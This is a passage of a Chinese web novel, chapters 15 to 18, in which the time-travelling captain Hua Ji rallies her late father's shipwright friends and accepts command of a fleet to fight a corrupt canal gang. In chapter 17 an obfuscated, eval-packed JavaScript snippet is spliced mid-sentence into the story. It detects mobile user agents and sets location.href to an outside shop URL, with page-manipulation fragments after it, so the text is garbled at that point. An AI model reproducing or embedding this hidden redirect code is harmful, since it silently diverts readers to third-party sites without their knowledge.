不过很快，直爽憨厚的汉子又挠着头，有些腼腆地笑着朝花棘说：“啊，对，都怪我，说话没个重点，胡扯了这么多。花棘先生是想问，梅老是怎么制成的涡旋？” 花棘笑着回他：“是，不急，你慢慢讲。” “其实，梅老只是叮嘱我们说，白露要到了，寒生露凝，正午过后温度降的快，鬼哭峡弯道下的河水，流速也要变慢了。” 提及梅老的教诲，人至中年的大强，老实得犹如刚开蒙的学童。 “梅老分段，将弯道处河底的泥沙打捞上来辨别，细看河水的浑浊程度、温度、包括两岸的风，雨天的河面是什么样，晴天又是什么样，然后，重新帮我们调整石块沉船的位置、高度、数量，还有盐袋的设计。” “没想到！”大强越说越激动，“这一回，我们才试验到第三次，就真的成功了！这可是从前想都不敢想的啊！” 花棘听到这里就什么都明白了，包括刚刚梅别鹤所说的那一句，说到底，大概只因为，我们是最了解这片河水的人吧。 她不禁再度盛赞：“梅老所为，晚辈着实拜服。” 她知道，这样的事情，即便她能将梅别鹤的所有步骤全部复制下来，但只要没有那份对于地域气候，和这片江水足够的了解，依然还是会失败。 现代科技的傲慢，永远无法弥补自然在万物运行中的特殊意义，只有足够熟悉自然的人，才有可能试着去驯服自然。 梅别鹤哑声开口，视线在花棘与大强身上来回交错，“越是上了年纪，以为自己得了什么了不起成就的人，越是容易被经验困住，反而是更年轻的小辈，想法才能更大胆。” 低沉嘶哑的声音被艰难吐露，仿若干燥的沙尘从指尖流下时，带起的粗糙声响。 梅别鹤语速很慢，和在亭外逐渐小了的雨声里，娓娓道来。 “早在多年以前，大强他们几个人就来找过我，被我直接回绝了。不是我做不了这件事，而是，我害怕了。” 梅别鹤自嘲着冷笑，“想想那个时候的自己啊，怕输，怕影响名誉，怕从高处坠下来......什么都在怕。可如今全部都经历了，才发现，很多事情怕是没有用的，该发生的到底还是要发生，是输，还是赢，也都没那么重要。” “涡旋做出来，也没想过一定会用得上，只是斗船大赛实在太多年没再办过了，心里到底有一份期待。”梅别鹤看着花棘，有些惭愧地略低了头，“我并没有十足的把握，最后能有那样的效果，全算是我多占了一点运气吧。” 说完，抬首复又看向花棘，苍老的眼睛里尽是赞许，“倒是花棘先生，命头船从漩涡中心冲出的那一刻，才真是惊艳四座啊。” 花棘不矜不伐，低声推脱：“梅老太谦虚了，晚辈要学习的东西还有很多。” 梅别鹤看似轻描淡写的一句话，花棘却很清楚要真正做到有多难，河水习性、船只结构、动手时机，这其中任何一个点的判断失误，便注定满盘皆输。 她看着老人的脸颊，褐色皮肤上布满了不规则的晒斑和老年斑，皮肤粗糙、干燥，皱纹又深又乱，这些都是在江边常年暴晒后，才会留下的痕迹，梅别鹤与老父的年纪相差无几，看起来却明显要苍老许多。 这么久过去了，即便他已经离开当年的位置，可他依然每天都在守着漓江，与各种各样的船只打交道，曾经的天赋与技艺，在岁月的蹉跎里被淬炼地愈发炉火纯青。 几十年的经验与阅历横亘在两人之间，像是无法跨过的天堑，她确实，还差的很多。 雨势 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“爷们儿们被抓了兵役，一出去三五年也没个音讯，又是谁沿着漓江一个地方一个地方的走，把家书都给送到的？” 大强的声音几近哽咽，说至后面，人肩膀塌了下去，声音越来越小，“做了这些事的不都是你们吗，你们怎么会是没用的人......” 顷刻间，连细雨的声音也没有了，围坐在一起的船匠们，头都垂了下去。 “今天来的人里面，我年纪最小，也从来没什么天赋，但是——” 大强说话的声音一变，猛然抬头，两个原本就不大的眼睛微眯在一起，豆子大的眼泪一滴接着一滴往外掉。 含着哭腔看着座下的船匠们，哽咽道：“但是，在漓江上行船走水，对于我的意义就是不一样的，斗船大赛，开通漕运，还有那些荣耀。” “在我心里......在我心里，你们就是漓江上的英雄！是曾经带着我们富起来的人！” 一语惊醒了经年旧梦，和眼前横生的老态，座下不同的角落里，间或传出小声的啜泣。 直到周围的哭声逐渐小去后，梅别鹤才抬头红着眼睛看向大强。 “是我们......”沙哑的话音刚起了个头，便剧烈地干咳了起来。 自喉咙里强行乍起的声音又尖又急，让人心惊，梅别鹤直接咳得弯下了腰，就近连忙有人去扶，被他摆手劝退。 好一会儿，干咳的声音才逐渐退去，梅别鹤长舒了几口气，这才哑声缓缓道：“早时候的漓江，吃人不吐骨头，是先辈们用命丈量出了这条路，我们接过了教诲，如今，却没有把这片江水守护好。” “但是，花家姑娘。”梅别鹤看向花棘的眼睛。 花棘与其对视上的一瞬间，神情恍惚一滞，眼前的老人何以在这么短的时间，苍老至此。 梅别鹤问她：“你知道，今天让我们这群老东西，最开心的事情是什么吗？” 花棘摇了摇头，她不知道。 “是看到了你。”梅别鹤笑着说。 檐下的天色不知何时亮了起来，丝丝缕缕金黄色的暖光，倾洒在众人之间，又在翠绿的树梢之上，唤醒了点点晶莹。 未等花棘回答，梅别鹤看着那与蓝天相接的枝头，又问了一句。 “所以，若信得过我们这些人，先生造出这样一只船队的真正目的，可以说了吗？” 15.第十五章 “先生所造之船，防御、碰撞、攻击，甚至是孤注一掷的情况都考虑到了，但作为商船，似乎唯独没有留出足够的置货空间。” 梅别鹤的视线从厅外收回，转而落在花棘身上，笃定道：“可知，先生造船是为杀人，绝非运货。” 花棘干脆承认：“是。” 从有了斗船的念头开始，她就知道自己要做的事瞒不过去。 四周所有人的注意力都被吸引了过来，他们看向花棘的脸上俱是震惊，到底是发生了什么样的事，让一个仅十八岁的姑娘，竟怀着这样的恨意。 “这是为何？”梅别鹤严肃地问。 花棘长叹了一口气，错开目光看向远处的一点，冷声道：“当日，我......与父亲坠水......父亲的死不是意外。” “什么？”梅别鹤听过，当即站了起来，“你是说桃风他......他......” 花棘红着一双眼睛，眼角含泪地又将那一晚，漕帮如何将她父女二人勒死，又如何伪装成落水意外的经过讲了一遍。 她隐去了“花棘”活下来的真正原因，只说是她被江水冲上岸，喉咙里存了最后一口气，这才死里逃生捡回了一条命。 “可是，漕帮为什么会突然盯上花大哥啊，他不是和漕帮......” 后方有人追问，被花棘径直打断。 “我父亲从来也没和漕帮同流合污过！” 花棘起身厉声辩驳：“是漕帮那些人故意向外散播，我父亲与他们交好，好叫漕运一行的其他人都孤立他，这样便能控制父亲不得不为他们做事。” “但是，这么多年，父亲在夹缝中苦苦生存，却从未做过一件伤天害理的事。” 她强忍着鼻酸，不让眼泪流下，继续道：“这最后一次，也是父亲看出了他们要改造的甲板背后，是倒卖人口的交易，几番严辞拒绝，才害自己丢了性命。” “倒卖人口！”大强吃惊地问，“你说的‘他们’到底是谁？” 花棘气愤地回他：“私自倒卖人口，只一个小小的漕帮怎么敢，躲在后面真正获利的，自然是那些给他们提供便利的贪官们。” 说话间，她眼睛不自觉地往李文晞的方向瞟了一眼，喜恶分明。 大强听罢，不住地握拳俯身，狠敲着自己的大腿，“这......这到底是什么世道啊。” 梅别鹤跌坐回椅背里，小声地呢喃着：“桃风......桃风啊......” 原身过往的记忆如潮水般涌现在脑海中，那些父女之间最深刻的场景，便如同花棘再度亲历了一番，一下一下地撞击着一根最为脆弱的神经，强烈的情绪共鸣，让她几次都险些控制不住自己。 一句从前“花棘”一直未敢问出的话，就这样被她当着所有人的面，质问了出来。 “今日诸位前辈们都在，我便要来好好地问一问，我父亲当年到底是怎么对不起的你们，何以这么多年过去，还能让你们对父亲有那么深的误解！” 人群中跟着有人站起大声驳斥：“当年若不是他花铭，我们又怎么可能有今天！” 而后，众人你一言我一语地拼凑着，这才将过往的恩怨全部理了个干净。 原来，在花铭还是个半大小子时，就开始跟着梅别鹤了，两个人亦师亦友，都是曾经城中人尽皆知的少年英杰。 彼时漕运事业正在兴起，两人一道拜了师，一道入了行，又一道成了漕运部院内，得官老爷们重用的头目。随着他们身边聚集的人越来越多，才渐渐有了现在的这些人。 行船走水吃经验，更吃配合，每一艘船的修理维护，跟着出去和回来的人，几乎一直都是同一批，免不了会因此拉帮结派。 一开始入行的都是民间的人，拿官家的钱干活，那时谁也没有料到地方漕运可以兴起得这么快。其中掺杂的利益越来越复杂，赚的钱越来越多之后，官家的手开始伸得更长，新一批有后台有背景的人搅和进来，风气便有点不对了。 梅别鹤与花铭他们这批人，固然是当时最顶尖的船匠们，但是，当航船逐渐走上正轨，行船造船的手艺普及开来，技术壁垒被打破，又不需要持续的技术突破时，他们便注定要迎来迭代。 只要有了足够愿意听吩咐的人，谁又会再喜欢他们这些，脾气又臭又硬的老家伙们呢？ 而自古以来，该如何让立下过功勋的人自己退位，上位者们的手段都出奇地一致。 他们开始莫名遇到各种各样的麻烦，负责的船只被停用，相关联的几个船队一齐延迟拨款，每隔几日就会有人被秘密挖走...... 诸如此类的法子，要多少有多少。 最后，一群人里刚刚成婚，年纪最小的弟弟花铭，终于也顶不住，投奔向了权贵。 那时的梅别鹤也并不比其他人大多少，只是有天赋又得重用的他，肩上总天然担着一份责任，他习惯了用自己得到的一切，去护着聚在他身边的这些兄弟们。 梅别鹤散尽积蓄，在多方权势之间来回周旋，一直在苦苦支撑的他，在被自己最好的兄弟背叛后，一下子泄了心气，倒了下去。 而他一倒，这群人没了主心骨，便再也没有起来过，从此，一落千丈，各自四散落魄，饱受排挤。 一方荣耀落幕，自有新的风潮登场，漕帮趁机兴盛崛起，暗流翻涌，如同蔓延的瘟疫，一步步拉着越来越多的人坠入水火。 花棘听完什么也没说，而是径直转身离席，将放在侍从处保管的老盒子取了回来。 半臂见方的老旧盒子外皮已然包了一层厚浆，但仍能看出是上等楠木打的，与漓江边上造船最常用的木材别无二致。 她将上锁的盒子打开，把里面的东西一样一样拿出来，放在了众人中间的桌子上。 盒子是花棘复生的那一晚，回铺子查看时偷偷拿出来的，盒子里装着很多老旧的制船工具，父亲从来不会拿出来用，但却时常都要打开看一看。 在“花棘”的印象里，这个盒子一直对 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“......竟然是从我这借走的杠刨，借走了就再也没还回来，我还以为他早都给弄丢了呢。” 陈年旧事被一件一件勾起，正是畅聊至最高潮的时候，众人却默契地全然沉寂了下去。 过了不知多久，人群中忽然有人没头没尾地问了一句：“桃风当年的离开，真的，是为了平步青云吗？” 也许，对于这个问题，每个人心中都有自己的答案，但时间一分一秒地过去，却依然没有人回答他，便是连问出问题的他自己，也没有再次追问的勇气。 在这一刻，比年岁更为沉重的，是一个生命消逝的重量。 而那个花铭曾经最好的兄弟梅别鹤，则是始终一言不发，低垂着头，目光故意躲避着，如何也不肯看去盒子的方向。 厅外空旷的温润里，倏尔传出了第一声清脆的啼鸣，像是在试探，又像是在与同伴们告知，雨已然停了的讯息。 果然，不过片刻，又有一连串此起彼伏的鸟鸣声响起。花棘踱步走来了长亭边，刚一抬头，便只见十几只“人”字排开的黑色飞鸟，正伸展着快速滑过庭院上空的蓝天与绿叶，遥遥地缩小在远方天际。 她伸出手，接住房檐边一滴坠落的水珠，看着其间天地倾覆的倒影，漫不经心地开口，说出的话却字字铿锵。 “若我当时真能随父亲去也就算了，但上天既然让我活下来，前路便是刀山火海，我也要讨一个公道。” 花棘转身，背光站立的她，将自己的神色全然隐藏在了阴暗里，“我将要去做的事情有多危险，想必各位前辈们心里都清楚，开弓没有回头箭，我没想过要拉谁下水，前辈们今天愿意过来，我心里已然感激不尽。” “花棘拜谢。” 说完，拱手，俯身，郑重行礼，而后干脆利落地向着台阶走去。 正待花棘即将走出长亭之时，后方倏地传出动静，那是一道陌生的声音。 “花棘先生，算我一个吧。” 16.第十六章 “那，那个，能也算我一个吗？” 大强看着一旁全数站起来的众人，犹犹豫豫地举着手，小声询问，他实在感觉自己不够资格，却又无论如何都想参与其中。 他们等这一天，都等得太久了。 是以，当花棘回过头，对上的便是十六道整齐注视着她的，热烈的目光。 梅别鹤一手横于胸前，一手负在身后，从人群中缓步走了出来，哑声说着。 “自当年有了退缩的念头开始，便一直在错，可笑人冥顽不灵，竟就这样荒度了许多年月，今日，是如何也不能再错下去了。” “既然，还有人记得我们，那我们的肩头，便还担着一份责任。” 梅别鹤行至众人的最前方站定，说话间，从胸前拿出来了一个金色的吊坠。 “这还是小时候，教我和桃风的老船长留下的。”说着，他将小吊坠托在手心里，展示给花棘看。 那吊坠上的，竟是一个由黄铜制成的，精致小巧的锚。 “从前，谁可以戴上它，谁便是我们的船长。”梅别鹤解释道，“但现在，我们想把它交给你，不知花棘先生是否愿意。” 说完，双手捧着吊坠送至花棘面前，俯身，颔首，在他身后，十几道身影同他一起拱手行礼，齐声道： “愿追随先生。” 花棘目光落定在那一个黄色的小锚上，耳边所有的声音都逐渐远去，鼻尖猛然一阵酸涩，脑海中浮现的全部是前世自己一步步晋升，最后终于成为船长的那一天。 自上船的第一天起，金色的锚标便一直在她肩上，从一条杠都没有的水手开始，一路加升至四条杠的船长。 那一天，她也是在这样的注视里，在所有船员的祝福下，将全新的船长肩章，戴在了身上。 可是...... 这里和前世不一样，航行中没有科技和任何海军护卫的加持，她所要去做的事，更是会送命的。 光是凭她掌握的那些现代知识，就像这次遇到的人工漩涡一样，依然会有无能为力的时刻，这么多人的性命落在她肩上，她怎么担得起。 “不行。”花棘果断拒绝，“前辈们不能参与进来，太危险了，这吊坠我不会收。” 梅别鹤闻言，震惊地抬起头，似是没有料到花棘会这样直接拒绝。 后方跟着直立起身的众人，也彼此面面相觑，都不知道接下来该怎么办。 末了，还是梅别鹤再度哑声开口，他维持双手呈递的姿势不变，恳切道：“花棘先生，我们这样做不是为了帮你，而是寄希望于，你的出现，能帮一帮我们。” “不止是为了桃风，我们都是半截身子埋进土里的人了，临走前，总得对得起那一片漓江水啊。” 花棘侧身站在长亭的台阶边，神色肃然，她虽没有动，但听过梅别鹤的话后，却也不再开口。 大强在一旁看着，急得冒了满头的汗，“那......可，这要怎么办，船队走水只花棘先生一个人，肯定不行的啊。” 花棘性情倔强，经历过一场斗船比试后，在场谁都看得出来，要劝服这样的人，可不是易事。 梅别鹤暗自思量了一会儿，转而将手中的锚坠递给侍从，示意其呈递到李文晞面前，自己则退后两步，立到了一旁。 李文晞见状，折扇一展，心情大好地笑了起来，“哈哈哈......谢天谢地，总算有人想起本王了。” 他摆手叫停了侍从递上来的锚坠，缓缓倾身向前，压低了长眉，沉声道：“本王听着，诸位是不是弄错了一件事情。” 此话一出，无形的压迫感开始在空气中堆叠，没有人敢在这时发出一丝声响，众人低垂的视线，片刻也不敢离开自己的脚尖。 不想，再次开口的李文晞却倏地缓了语气，和颜悦色道：“小小漕帮而已，一群乱窜的鼠辈，漓州还能叫他们翻了天不成。” “哦，对，还有鼠辈背后的贪官们。”他慢条斯理地一边说，一边靠回椅背一侧，轻摇着象牙折扇，“那可真不巧，本王便是奉了皇命的钦差，专门负责来理清这浊世的。” “不妨再告诉诸位。”李文晞扫视着下方立着的众人，“背后藏着的大鱼们，可比你们想象中的胆子大多了，便是本王的这处私宅，他们也夜闯过多次。” “今日，都有谁踏进了本王这门，定然，也瞒不过去。” 亭内气氛随李文晞的话变得越来越冷，就连院落四下飞鸟的鸣叫，都显得愈发辽远，空气如同有了实质的重量，不停加码地往每一个人身上压。 李文晞微眯着眼，继续温声发问：“诸位当下要是应了，便是真上了本王的贼船，自此荣辱一处，成败共担，不知师傅们，可还有这个胆量？” 自见识过花棘的能力之后，早在花棘提出要于水上设局的那一晚，他便已然开始谋划眼前的局面了。 从调查花棘的身世，到翻出其父亲花铭曾经的人脉，再到将这些人全部聚起来，短时间内倒还真花了他不少功夫。 这一次针对漕帮的清剿，尽管前期布局可以做到足够精巧，但真正到了水上硬碰硬的时候，面对盘踞多年，背后又有官场势力支援的漕帮，他除了需要最顶尖的船队，更需要最可靠的船员们。 此事，只花棘一个人做不到，而他要达成的目的，必须万无一失。 象牙折扇后，李文晞视线再一次不经意地，朝花棘的方向瞟了一眼，他觉得自己很可笑。 不过十几个老船匠而已，他若需要，是绑来，还是买来，全看他心情。 可在面对花棘时，特别是在斗船比试中，看到那样卓尔不群的她之后，他却愿意为了她，冒险被动地等待一个回答。 像是习惯了躲藏在阴湿处的蠕虫，面对暖阳的本能反应便是害怕，更遑论是白日下迎风盛开的花朵，那是它根本不敢去想的东西，它很清楚真实的自己是个什么样。 而真实的李文晞，花棘永远也不需要知道。 正想着，一道清冷的目光忽而射了过来，直慑得李文晞摇扇的动作都错了一拍。 李文晞又怎会不知花棘为什么会这样看他，但他只是笑着对视回去，微微点了一下头，风度翩翩地拿过茶盏，遮住了自己的半边面容。 花棘很快收回了视线，她正站在光线的分界处，一半身体照着阳光，一半落在阴影里。 她早该想到的，李文晞此人城府极深，重新 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“师傅们快快请起，入座吧。” 他起身，作势向前虚扶了一把，梅别鹤与众人重新落座回去。 李文晞理了理长袍，轻摇折扇，踱步在一群人中间，和声反问：“这船却是贼船，可谁说这船便一定会翻呢？” 他行至亭边，蓦地拂袖转身，脸上一片凛然正色，“诸位这一次想做什么尽管去做，大可有冤报冤，有仇报仇，无论发生什么，背后自有本王在。” “另外，本王这个闲散王爷，虽长居京中，鲜少出来办事走动，但好歹还知道不能苛待手下的道理。” 说话间，他一手摇着折扇，一手背在身后，缓缓地在几张桌前走着。 待至中心处，转身，环顾众人，说道：“所以，方才给诸位看过的那几小箱黄金，便是本王这一次付下的工钱，如何？” 话音落下，李文晞一身红衣华服立于长亭中间，满意地听着四周人细小的惊讶声。 不过片刻，一群人又一次匍匐着，在他脚边跪倒了一地，拜谢声随之响起。 “草民等，多谢晨王殿下。” “愿为晨王殿下效力。” “师傅们不必多礼。”李文晞走上前，俯身，亲手将梅别鹤扶了起来。 梅别鹤见状，整个身体都激动得颤抖了起来，发软的双腿勉强站立稳当，冷汗自额间滴滴滚落。 如此天恩，直叫一张苍老的面容，险些涕泗横流。 李文晞收了折扇，走至众人前方，神色凌厉，沉声下令： “本王没有多余的要求，只要一支无坚不摧的船队。” “草民等，遵命！” 言罢，他拿起一旁侍从双手间的锚坠，缓步向着花棘走去。 在距离花棘两步远的地方停下后，他一掌托着吊坠，伸手上前，开口，言辞真挚。 “所以，花棘先生，没有别的选择，这艘船的船长，非你莫属。” 谁知下一秒，花棘看也不看吊坠，一双带着英气的眼睛，凶狠地直瞪向李文晞。 17.第十七章 李文晞这种上位者虚伪的御人之道，让花棘觉得恶心。 一旦事情败露，漕帮人心狠手辣，那一箱箱黄金买的，分明是这些船匠和其家人的命。 人是李文晞找来的，能有现在这样强行将她架住的局面，她不相信什么巧合。 李文晞拿着锚坠的一只手，伸出向前，看着她的一双眼睛，笑意深不见底，温文尔雅。船匠们视作比性命还重要的信物，在他眼里不过是一个能够用作威胁的筹码。 花棘可以同意他的交易，他们之间本就是各取所需，但这艘船上若是没有她，定然必败无疑，所以，想要她心甘情愿的卖命，他也要接受她开出来的条件。 “事成之前，还请晨王殿下，务必护所有船匠及其家人周全。” 花棘冷脸直视向李文晞，以不容拒绝的语气说着，聪明如李文晞，会明白她话的意思。 李文晞听过，忍俊不禁地笑了，他还以为自己伪装得不错，没想到还是被人一眼就看穿了。 他那颇具几分盛誉的风度与皮相，每每到了花棘这里，总是只能作无奈的苦笑。 这几日下面人孝敬来的金银珠宝，他全叫搬去了花棘的小院，但她每次看见，不过随意扫上一眼，愿意给出的驻留，还远不如旁边的那棵梨花树。 他实在想不出，花棘到底是一个怎样的女子，可笑他皇七子李文晞，倒还没在哪个女子面前，受过这样的冷落。 财宝、权势，都不能动其志，反倒是几个萍水相逢无关紧要的人，竟让她认真了起来。 “花棘先生放心，既然各位师傅是在为本王办事，本王自会为他们负责。” 李文晞收了笑意，认真回答过后，忽而话锋一转，继续道：“可终究本王能力有限，能够护佑的不过是在漓州城里，真要去到水上，别说是师傅们的性命，便是本王自己的命，本王，也只肯交给花棘先生一人。” 他虽有假心，但说的都是真话，话音落至最后，甚至都有了些恳求的意思。说完，一双眼睛含情脉脉地紧紧粘着花棘。 花棘不习惯被人这样看着，没过几秒钟便径直移开了视线。 其实，除了以那些人的性命相要挟之外，李文晞更是吃准了控制船队这件事，她就是无法一个人完成，而想要快速组建一支配合默契的船员队伍，没有比父亲曾经的这群故友们，更合适的人了。 花棘转头又看了一眼，正在迫切注视着她的那些目光...... 现如今，即做不到将他们全部排除在外，她便只能尽自己所能，护住更多人的命。 少顷，她终于肯俯下身去，双手合并高举向前，接下了李文晞手中代表船长身份的锚坠。 冰凉的触感落在手心，花棘跟着郑重道了一句：“多谢晨王殿下。” 锚坠在手，花棘走上众人近前，将其高举过头顶，清明睿智的双眼在船匠之间一一扫过。 她在尽可能地将这些人的样貌全部印在脑海中，这还是她来到陌生的世界后，拥有的第一批追随她的船员。 心下快速思量过一番后，花棘以全新的身份，于众人面前厉声开口。 “今日诸位都在，有些话我提前说清楚。” “我花棘之所以需要这样一支船队，不为名、不为利，只为讨一份心中坚持的正义。我们即将要对付的人，不止是漕帮，更是他们背后，漓州城内那些我们从来惹不起，从来想都不敢想的高官贵族们。” “这件事很危险，任何一个环节出现意外，都可能会有人送命，包括我自己。” 花棘一身白衣，身型高挑，瘦得薄薄一片，站在四下漏风的长亭中，仿佛随时都会被风吹走。 但她神色决然，冷艳的眉眼间，有锐利更有英气，消瘦的下巴微扬，尽显倔强，如同暴雨后一截直立的白杨，纵然外皮历经风雨，但潜藏在暗处的根茎却深深扎在土里，任四季轮转捶打，仍不能动其分毫，长在骨血里的筋骨，只会在时间中越发强大、茁壮。 花棘话音暂止，收回高举的手，端放腰前，视线在人群中左右游走，忽而直截了当冷声质询。 “兹事体大，我不会强求，若因顾虑有意退出者，大可现在提出来，毕竟有钱拿，却也要有命花才行。” 此话一出，没一会儿，前方果然隐隐起了骚动，但短时间内，并没有人愿意做第一个退却的人。 方才斗船比试勾起的热血还在，现在正是所有情绪最为高涨的时候，而人在这样境况下做出的决定，往往也是最容易后悔的。 花棘深知这一点，所以，并没有盲目地相信这一刻众志成城的虚像。她明白，眼前动了犹疑念头的人，会需要一个缓冲的台阶。 于是，缓声继续说道：“这件事情关系的不仅仅是前辈们自身，更牵连各位的家人，我会给大家一天时间为期，回去与家人商议过后，明晚之前给我确切的答复即可。” “而如果是下定决心，会追随我的人——” 花棘话音一顿，自众人间环视而过，一对朗星般澄澈明亮的眸子，好似有火星迸射而出，只听她继续笃定地说道：“只要有我花棘一条命在，必会护诸位，与诸位的家人万全。” “同舟共济，有难同担，福恩共享，再无妥协与退路。” 此时，座下听着的众人，尽然目光灼灼，没有人在怀疑这些话的分量，他们先是欣赏于花棘出类拔萃的实力，现在，更为她刚正节烈的剖白所折服。 漓州城临江而建，周边大大小小二十几个县全算上，三十万人的经济命脉，大半都系在这一条水线之上。 自多年前漕帮被暗中扶持起来，与地方官吏们联手，一明一暗彻底将漕运一行全部控制之后，漓州的这片天就也跟着叫遮了去。 因种种不公被欺辱打压的他们不是没反抗过，谁也不是生来就是怂包， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949880|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但结果呢，不仅会丢掉自己凭手艺挣来的营生，更是还会连累到身边的亲友们。 ......年纪越来越大，上有老下有小的男人们，都要养家。 可罪恶对于善良人的压榨就是这样，不会消减，没有尽头，人生最关键的那几年，有些东西不能好好抓住，这一辈子便都不可能再拥有了。 船匠们看着眼前花棘的样子，听着她的那些话...... 站在那里的那个人，原来他们一点也不陌生，那分明就是已经死去的，年轻时的自己。 曾经的他们放弃了，变成了如今这副连自己都厌恶的模样，而当再一次有这样一个人出现，甚至比之从前所有都更加耀眼的人，他们会由衷地希望，花棘不要放弃，千万不要放弃。 他们之所以如此迫切，好像也不是为了去追随谁，只是，他们终于有了一个机会，可以再去追随一次年轻的自己。 数道闪烁着泪光的注目，被或深或浅，或稀疏或杂乱的皱纹包裹，难以言明的激动、雀跃、悔恨、愁苦......全然冗杂在一起，每个人真正的心中所想，都随着红日的沉落，变得愈发复杂。 鸟语吵闹着飞远，空气舒爽，花香在潮湿退去后逐渐释放，不多时，已然溢了满院。 浅蓝色的晴空下，一束遥望向远处的视线，忽而被几缕隐约辉映的彩光打断，正在看的那人缓缓笑了。 竟是彩虹出来了啊。 八月底夕阳时分适宜的凉风，在长亭内游走自如，先前被大雨淋湿的单衣已然干透，一片寂静之中，衣物间摩擦的微声不紧不慢地响起，有人开始整理起了衣衫。 而后细碎的声响扩散开来，连续成欢快的华章。无需多余的言语，人群中看着彼此最为熟悉的面孔，眼神碰撞，对视一笑，心底深处的执念被重重拿起，又轻轻放下。 所有复杂的心绪都在这一刻，化成了纯粹的释然，过去漫长黑暗，但未来近在咫尺，勇气不老，他们依然手可摘星。 花棘看着面前十六位船匠，不约而同地认真整理起衣衫，将双臂处的窄袖，连同下面的里衣一起，一段一段地向上翻卷着，一直卷到了小臂的尾端。 她几乎是立即猜到了，接下来是要发生什么，她显得很惊讶，又有一份直冲胸腔的震撼，让她郑重地正了正自己的肩膀，两个握紧的手心里，湿了一遍又一遍。 站在花棘身侧的李文晞将发生的一切全看在眼里，他收了折扇到身后，接着，向外连退了几步，以自己的行动表态，为花棘让出位置。 衣衫整理结束，船匠中四位明显最年长的老师傅们走上前来，以梅别鹤为中心依次排成一列，后方其余人自动又调整成了两列。 接着，由梅别鹤率先开始双手交叠向前，众人跟随，小臂袒露，里衣外翻的白袖口挽至臂弯，十六人一同俯身，齐声贺道： “恭请花船长，扬帆，掌舵！” 18.第十八章 长年走水的船员们很少会穿长袖上衣，而每每如果穿的时候，总是要将两边袖口卷起至臂弯。 于是，也不知具体是从什么时候开始，便有了这样一个传统。 当某个漕运人愿意在除船上之外的地方，将袖口挽起，袒露小臂，向谁俯首行礼，也就意味着心甘情愿的臣服与追随。 是以长亭内此刻由衷的庆贺，正是十六位曾经的漕运人，能够献奉的最高礼节。 一阵轻柔的凉风吹过，带起花棘脸颊两侧碎发飞扬，短暂地遮挡了一瞬视线。 她猜想这风里定然掺杂进了些别的东西，不然，何以让她顷刻就湿了眼眶。 手心锚坠锋利的尖端，一寸一寸地刺进肉里，她在极力地控制着自己的情绪。 借着碎发的遮挡，她长舒一口气，低头，还以郑重一拜，沉声开口： “花棘。” “领命。” 话音落下，闭眼，一滴无人能够窥探的清泪悄然滑落。 自穿越到这个陌生的异世以来，她总感觉自己是飘在天上的，除了原身与老父的一点仇恨牵着她之外，她与这个世界格格不入，像是一场如何也醒不来的荒唐大梦。 可这一刻，一份被强烈信赖包裹的认同，让她第一次有了，脚踩在地上的踏实感。 她想，获得归属的第一步，大概是，感觉到自己被需要。 夏末时节，大雨之后的晚霞，红得好似染进了血，落日余晖一路洋洋洒洒涌入长亭，正落在花棘肩上。 李文晞站在一侧，看着那凸起的蝴蝶骨上铺开的一抹红，像极了铁血戎装背后火红的披风。 他现在怎么觉得，自己对这个女子的期待，倒有些保守了。 也许，她根本不是用来钓鱼的饵，而是一把即将出鞘的刀。 不多时，待两方人缓缓直立起身后，对视的眼神中，只剩下坦诚。 是梅别鹤率先笑着说道：“等新船全部造好下水的那一天，不知我梅某人能否有幸，可以为花船长掌那最重要的头船。” “梅老说笑了，以您的资历，这位置不是您的，还能是谁呢？” 花棘说着，展臂摊手，示意大家重新入座。 “那个......” 此时人群边缘一道熟悉的声音，突然张口开了一个话头。 花棘循声望去，她看那黑脸汉子很眼熟，简单思索后，才意识到这人正是之前初见时，带头嘲讽过她的那一位。 她心里做好了准备，微扬了头望过去，一脸淡然。 谁知，接着却听到那人涨红了脸，撇开目光也不敢看她，别别扭扭地说道：“之前说的那些混账话......是我没有了解清楚事情，随口乱喷——” “......随口胡说的。” 黑脸汉子偷看了花棘一眼后，又继续说：“那个，对不住啊花船长，你就，就别跟我计较了。” 花棘听过，忍不住浅笑出了声。 可她笑并非是因为听到道歉后的畅快，她是在笑她自己，她原也不过是为了目的，攻于心计的小人罢了，与之相比又能高尚到哪去。 “实不相瞒，我先前迟到了一个时辰，又做出种种丑态。”她毫无遮掩地解释着，“便是为了故意激怒诸位前辈，好让前辈们在斗船比试中，能够拿出全部实力对付我。” “感情是花船长从进门现身开始，就已经在算计我们了，哈哈哈哈......”黑脸汉子豪爽地笑着。 “不过，花船长。”他笑完，话音一转，“别看斗船比试叫你赢了，但如果换做是比造船时的索作，嘿嘿，我可敢说，整个漓州城没有谁能比得上我的手艺。” “瞧给你美的吧。” 一旁干瘦的中年汉子，说完肩膀直接撞了一下上去。 而后，满脸骄傲地对着花棘说：“花船长，咱今天来的兄弟可没有一个吃素的，就船上以后所有的铁作，都包在我身上。” 席间气氛就此被再度点燃，众人逐次落座之后，纷纷如数家珍地向花棘汇报着自己最擅长的手艺，俨然是漕运届的十八罗汉齐聚。 花棘坐在一侧始终认真地听着，心头的喜悦难掩。 诚然她作为远洋船长，可以熟练掌握领先于时代几千年的科学知识，但是，在真正建造船只时，她的实践经历和动手能力，与古代船匠们是没法比的。 有这样一群人在，她的船队不仅建成的时间会更快，甚至，在所有的属性表现方面，说不定还可以再上一层楼。 谈话终于在热闹的氛围中，渐渐走向尾声，梅别鹤犹豫了许久，一个关键的问题，他到底还是在最后问了出来。 “花船长，在斗船比试时梅某就发现，你对船队内每一支船调动的时机，都掌握得相当精准。” “可是，梅某一直有一个疑惑。”梅别鹤的询问显得很慎重，“实际行船过程中，船与船之间相隔的距离会更远，且人员配合也更复杂，花船长要如何保证每一次行动指令的精准传达呢？” 花棘会在方才的斗船比试中获胜，船队内每一支船的调动是关键中的关键，可实际行船时如何能够达到那样理想的效果，而若是先前设计的所有指令都无法落位...... 